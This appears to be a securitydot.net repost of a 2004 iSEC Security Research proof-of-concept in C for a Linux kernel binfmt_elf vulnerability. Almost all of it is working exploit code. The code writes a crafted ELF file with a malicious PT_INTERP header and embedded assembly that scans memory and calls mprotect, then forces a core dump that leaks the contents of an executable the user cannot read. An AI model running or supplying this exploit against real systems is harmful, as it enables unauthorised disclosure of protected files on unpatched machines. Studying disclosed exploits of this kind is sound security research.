exploits , vulnerabilities , articles , Linux Kernel ELF Binary Loader Local Proof of Concept

 

/*
 *
 *	binfmt_elf executable file read vulnerability
 *
 *	gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 *	Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,
MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
 */



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>


#define BADNAME "/tmp/_elf_dump"



void usage(char *s)
{
	printf("\nUsage: %s executable\n\n", s);
	exit(0);
}

//	ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//		"1:		jmp 1b \n"
		"		xorl	%edi, %edi		\n"
		"		movl	%esp, %esi		\n"
		"		xorl	%edx, %edx		\n"
		"		xorl	%ebp, %ebp		\n"
		"		call	get_addr		\n"

		"		movl	%esi, %esp		\n"
		"		movl	%edi, %ebp		\n"
		"		jmp	inst_sig		\n"

		"get_addr:	popl	%ecx			\n"

//	sighand
		"inst_sig:	xorl	%eax, %eax		\n"
		"		movl	$11, %ebx		\n"
		"		movb	$48, %al		\n"
		"		int	$0x80			\n"

		"ld_page:	movl	%ebp, %eax		\n"
		"		subl	%edx, %eax		\n"
		"		cmpl	$0x1000, %eax		\n"
		"		jle	ld_page2		\n"

//	mprotect
		"		pusha				\n"
		"		movl	%edx, %ebx		\n"
		"		addl 	$0x1000, %ebx		\n"
		"		movl	%eax, %ecx		\n"
		"		xorl	%eax, %eax		\n"
		"		movb	$125, %al		\n"
		"		movl	$7, %edx		\n"
		"		int	$0x80			\n"
		"		popa				\n"

		"ld_page2:	addl	$0x1000, %edi		\n"
		"		cmpl	$0xc0000000, %edi	\n"
		"		je	dump			\n"
		"		movl	%ebp, %edx		\n"
		"		movl	(%edi), %eax		\n"
		"		jmp	ld_page			\n"

		"dump:		xorl	%eax, %eax		\n"
		"		xorl	%ecx, %ecx		\n"
		"		movl	$11, %ebx		\n"
		"		movb	$48, %al		\n"
		"		int	$0x80			\n"
		"		movl	$0xdeadbeef, %eax	\n"
		"		jmp	*(%eax)			\n"

	);
}


static volatile void bad_code_end(void)
{
}


int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

	if(ac<2)
		usage(av[0]);

//	make bad a.out
	fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
	nl = strlen(av[1])+1;
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 2;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header(s)
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_INTERP;
	eph.p_offset = sizeof(eh) + 2*sizeof(eph);
	eph.p_filesz = nl;
	write(fd, &eph, sizeof(eph) );

	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = 0x0000;
	eph.p_flags = PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	.interp
	write(fd, av[1], nl );

//	execable code
	nl = &bad_code_end - &bad_code;
	lseek(fd, 4096, SEEK_SET);
	write(fd, &bad_code, 4096);
	close(fd);

//	dump the shit
	rl.rlim_cur = RLIM_INFINITY;
	rl.rlim_max = RLIM_INFINITY;
	if( setrlimit(RLIMIT_CORE, &rl) )
		perror("\nsetrlimit failed");
	fflush(stdout);
	pid = fork();
	if(pid)
		wait(NULL);
	else
		execl(BADNAME, BADNAME, NULL);

	printf("\ncore dumped!\n\n");
	unlink(BADNAME);

return 0;
}


securitydot.net - 2004-11-11